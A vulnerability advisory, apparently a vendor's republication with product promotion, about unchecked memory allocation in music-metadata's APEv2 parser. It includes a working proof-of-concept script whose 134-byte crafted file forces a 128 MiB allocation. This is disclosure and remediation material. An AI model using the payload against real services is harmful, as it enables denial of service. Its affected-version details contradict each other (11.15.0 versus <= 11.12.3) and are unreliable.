Summary
music-metadata: Uncontrolled memory allocation in APEv2 parser
music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.
The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.
This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.
Affected component
lib/apev2/APEv2Token.tslib/apev2/APEv2Parser.ts
The untrusted size is read here:
size: Token.UINT32_LE.get(buf, off)
It is later used directly for allocation when parsing binary tag items:
const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);
The allocation happens before the parser confirms that the declared size fits inside the remaining file data.
Proof of Concept
Run from the project checkout after compiling the source:
npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs
poc-apev2-memory.mjs:
import { parseBuffer } from './lib/core.js';
const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
let off = 0;
for (const p of parts) out.set(p, off), off += p.length;
return out;
};
const big = 0x08000000; // 128 MiB
const desc = cat(
Buffer.from('MAC '), le32(4000), le32(52), le32(24),
le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);
const hdr = cat(
le16(0), le16(0), le32(1), le32(1), le32(1),
le16(16), le16(1), le32(44100)
);
const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));
const tag = cat(
Buffer.from('APETAGEX'),
le32(2000),
le32(32 + item.length + key.length + big),
le32(1),
le32(0),
new Uint8Array(8)
);
const payload = cat(desc, hdr, tag, item, key);
if (global.gc) global.gc();
const before = process.memoryUsage();
try {
await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
console.log(error.constructor.name + ': ' + error.message);
}
const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));
Observed result
On music-metadata 11.15.0:
EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00
The parser throws after reaching end-of-stream, but the large allocation has already happened.
Expected result
The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.
Impact
An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.
The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.
The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.
CVE-2026-107387 has a CVSS score of 6.2 (Medium). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (11.16.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.
Frequently Asked Questions
- What is CVE-2026-107387? CVE-2026-107387 is a medium-severity security vulnerability in music-metadata (npm), affecting versions <= 11.12.3. It is fixed in 11.16.0.
- How severe is CVE-2026-107387? CVE-2026-107387 has a CVSS score of 6.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of music-metadata are affected by CVE-2026-107387? music-metadata (npm) versions <= 11.12.3 is affected.
- Is there a fix for CVE-2026-107387? Yes. CVE-2026-107387 is fixed in 11.16.0. Upgrade to this version or later.
- Is CVE-2026-107387 exploitable, and should I be worried? Whether CVE-2026-107387 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-107387 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-107387? Upgrade
music-metadatato 11.16.0 or later.